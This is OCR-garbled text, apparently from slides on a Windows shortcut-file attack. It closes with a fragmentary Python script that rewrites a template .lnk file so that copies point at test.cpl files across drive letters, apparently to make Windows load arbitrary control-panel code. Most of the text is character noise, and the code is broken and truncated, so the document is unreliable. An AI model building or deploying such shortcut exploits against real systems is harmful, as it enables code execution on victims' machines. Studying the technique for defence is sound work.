S oXAdC R L, s S XxE e 2 I AGH |, - ¥ Y XX Ads4s U CRE | X x o
®ichne , XX A4s{y T CPL

Codred 7 fpsd ) X P Is T b AL X X7 8 X 4 XS B Tesqieex I Y 17K xS
dx{x., -

Yxpolov.

v 4o IJZstyX‘ x,Lq,,I\s-|ﬁs ”xN\sstx-LJ,,,l> vw-{x,_\:s< q A=>s<s,_|:,,>x oL
ONE B SR S SN LI

~ ~

Windows. _. . R X 7Y (X § .l . X o XS 4 XxXs{Xs "y, ls{s¥{q{],bs

ms ooy ot x4 7 s sl AT A Xy shX .« UNC Path - 7
S U XEANFE A AT xALP s X, L 3% fxmy Isfs, | CT " x |s
L >4~ U T4 4 f\Devicd\Harddisk\Volume4* 1 «"*_ 1«4 41X ¥qxs 4. x4 xs

IO Xl 14 CUNGS * 447 SLx 4% «xDOKE ~ _ < " ¥ |S(CPE % X .
d T s X THHY

ST SIT R K e D X AAsg T x s L DSy f xSt ] X

® " L opd R -
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file://Device/Harddisk/Volume4

L

LTI KX X

Technologic

¥ x _si¢ s

~ ~

ST Rs | qrdbe 1 XTOBIS | W06 ST S S8 ] X6y

dx XL,

~ >

AB T T ROOT . | CRL X kg 4% S 190 b vk % d s Xl 447

= =4 4 -4 -

S

H

Altest.cpl
Bitest.cpl
Cltest.cpl
DAtest.cpl
(OROR )

¥ ¥y x

G 1" X, %15 xm ¥« DOK L X "X A SFX sy XTBT .

167 1% isIse o S x oA FA S x T 8d s X5 Xy s X
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import re

f E:\\test.cpl
f E:\\te64.cpl

szTemplatelnkFil
szTemplatelnkFil

hTemplatelnkFile
baTemplatelnkFil

szCurrentlArc =
for i in rangs(Z2

for ] in range (2E):

szNewDir
szNewCpl

baNewLnkFileData = baTemplateLnkFile.replace (szTemplateLnkFile OriginalDest,szNewCplFileFPath)

szCurrentNewlnkFile = str((1 * 26) + jJ) + ".1n
hCurrentNewlnkFile = open(szlurrentNewLnkFile,
hCurrentNewLnkFile.write (baNewLnkFileData)
hCurrentNewLnkFile.close ()

"test.cpl"

e = r"test.lnk "

e_OriginalDest = "E:\\test.cpl"
= open(szTemplatelnkFile, "rb")
e = hTemplatelnkFile.rsad()

)

velatter = chr(ord('2") + 3)
FilePath = szNewDirveLatter + ":\\" + szCurrenthrc

= szCurrenthrc =
hTemplatelnkFile.close()
Tl 4L xs = i
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